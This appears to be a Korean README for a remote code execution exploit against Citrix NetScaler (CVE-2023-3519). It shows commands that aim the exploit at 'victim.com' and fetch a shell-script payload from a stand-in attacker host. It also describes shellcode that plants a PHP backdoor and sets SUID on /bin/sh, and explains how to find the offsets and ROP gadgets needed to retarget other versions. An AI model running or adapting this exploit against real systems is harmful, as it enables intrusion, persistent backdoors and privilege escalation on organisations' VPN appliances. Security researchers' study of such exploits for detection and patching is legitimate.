
CVE-2023-3519에 대한 RCE 익스플로잇
이 익스플로잇은 Citrix VPX 13.1-48.47의 주소와 셸코드를 사용합니다. 전체 글은 여기에서 확인하세요.
셸코드를 빌드하려면 NASM이 필요합니다.
$ sudo apt install nasm
포함된 셸코드는 원격 http(s) 서버에서 셸 스크립트를 다운로드하여 실행합니다. 스크립트는 세 가지 인수를 받습니다: 대상 호스트, 대상 포트, 셸 스크립트 페이로드의 URL. 이 리포지토리에는 id와 uname -a를 실행한 후 자체 정리하는 예제 페이로드가 포함되어 있습니다.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
URL은 셸코드 버퍼에 들어갈 정도로 짧아야 하며, 너무 길면 경고가 표시됩니다.
셸코드는 /var/netscaler/logon/a.php에 PHP 백도어를 생성하고 /bin/sh에 SUID 비트를 설정합니다. 포함된 sh 페이로드는 이러한 아티팩트를 자동으로 정리하는 예제를 보여줍니다. 또한 셸코드는 파일 디스크립터를 닫지 않으므로, 과도한 반복 익스플로잇은 리소스 고갈을 초래할 수 있습니다.
FreeBSD 기반 Citrix 대상의 경우, 세 가지 값만 찾으면 됩니다: 저장된 반환 포인터의 오프셋, jmp rsp ROP 가젯(또는 이에 상응하는 push rsp; ret;), 그리고 충돌을 피하기 위해 점프할 주소입니다. 이러한 매개변수는 모두 cve-2023-3519.py 상단 근처에 하드코딩되어 있습니다. 특정 버전에서는 RBP 값을 고정하기 위한 네 번째 값을 찾아야 할 수도 있습니다. 컴파일러가 POP 명령어 대신 RBP 상대 로드를 사용하여 저장된 레지스터를 복원하기 때문입니다.